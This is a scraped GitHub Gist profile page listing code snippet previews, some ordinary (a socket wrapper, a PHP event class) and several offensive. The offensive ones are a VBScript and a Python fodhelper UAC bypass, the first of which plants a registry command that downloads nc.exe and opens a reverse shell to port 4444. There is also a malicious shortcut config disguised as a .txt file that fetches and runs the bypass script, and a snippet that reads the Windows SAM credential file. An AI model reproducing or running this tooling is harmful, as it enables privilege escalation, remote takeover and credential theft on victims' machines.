Skip to content

Instantly share code, notes, and snippets.

View tommelo's full-sized avatar

Tom Melo tommelo

  • IT Gorillaz
  • Stuttgart, Germany
View GitHub Profile
@tommelo
tommelo / example.js
Last active June 8, 2022 22:57
Promisify net.Socket
const { connect } = require('./socket');
async function asyncSocket() {
let socket;
try {
socket = await connect('localhost', 3000, 30);
await socket.write('ping');
@tommelo
tommelo / garageweek.py
Created July 21, 2018 17:34
Hackaflag Garage Week (Bradesco) | Resolução da challenge da Pirâmide
#!/usr/bin/env python
# -*- coding: utf-8; mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-
# vim: fileencoding=utf-8 tabstop=4 expandtab shiftwidth=4
# pylint: disable=C0103,C0301,W1202,W0212
"""
Hackaflag Garage Week (Bradesco)
Resolução do desafio da pirâmide:
HOST: 159.65.181.58
Const HKEY_CURRENT_USER = &H80000001
Const FodHelperPath = "C:\\Windows\\System32\\fodhelper.exe"
Const RegKeyPathStr = "SOFTWARE\\Classes\\ms-settings\\shell\\open\\command"
Const RegKeyPath = "Software\\Classes\\ms-settings\\shell\\open\\command"
Const DelegateExecRegKeyName = "DelegateExecute"
Const DelegateExecRegKeyValue = ""
Const DefaultRegKeyName = ""
Const DefaultRegKeyValue = "cmd.exe /c powershell.exe -nop -w hidden iwr -outf C:\Windows\System32\nc.exe http://127.0.0.1/nc.exe & C:\Windows\System32\nc.exe 127.0.0.1 4444 -e cmd.exe"
@tommelo
tommelo / config.json
Created April 25, 2018 16:53
lnk2pwn shortcut config
{
"shortcut": {
"target_path": "C:\\Windows\\System32\\cmd.exe",
"working_dir": "C:\\Windows\\System32",
"arguments": "/c powershell.exe iwr -outf %tmp%\\p.vbs http://127.0.0.1/uac_bypass.vbs & %tmp%\\p.vbs",
"icon_path": "C:\\Windows\\System32\\notepad.exe",
"icon_index": null,
"window_style": "MINIMIZED",
"description": "TRUST ME",
"fake_extension": ".txt",
@tommelo
tommelo / evil.js
Last active February 10, 2018 12:53
evil hacker 101
console.log("ok");
class Alphanumeric(object):
ALPHABET_LENGTH = 26
def __init__(self, nrange=None):
self.current_letter = 'z'
self.current_number = 0
self.nrange = nrange
def forward_letter(self, letter, positions):
import os
import sys
import ctypes
import _winreg
CMD = r"C:\Windows\System32\cmd.exe"
FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD = "python"
REG_PATH = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
@tommelo
tommelo / admin-check.py
Last active September 14, 2023 10:27
import os
import sys
import ctypes
import _winreg
def is_running_as_admin():
'''
Checks if the script is running with administrative privileges.
Returns True if is running as admin, False otherwise.
'''
SAM_FILE = r'C:\Windows\System32\config\sam'
with open(SAM_FILE, 'r') as sam:
print sam.readlines()
<?php
class Events {
private static $listeners = array();
public static function listen($event, $callback) {
self::$listeners[$event][] = $callback;
}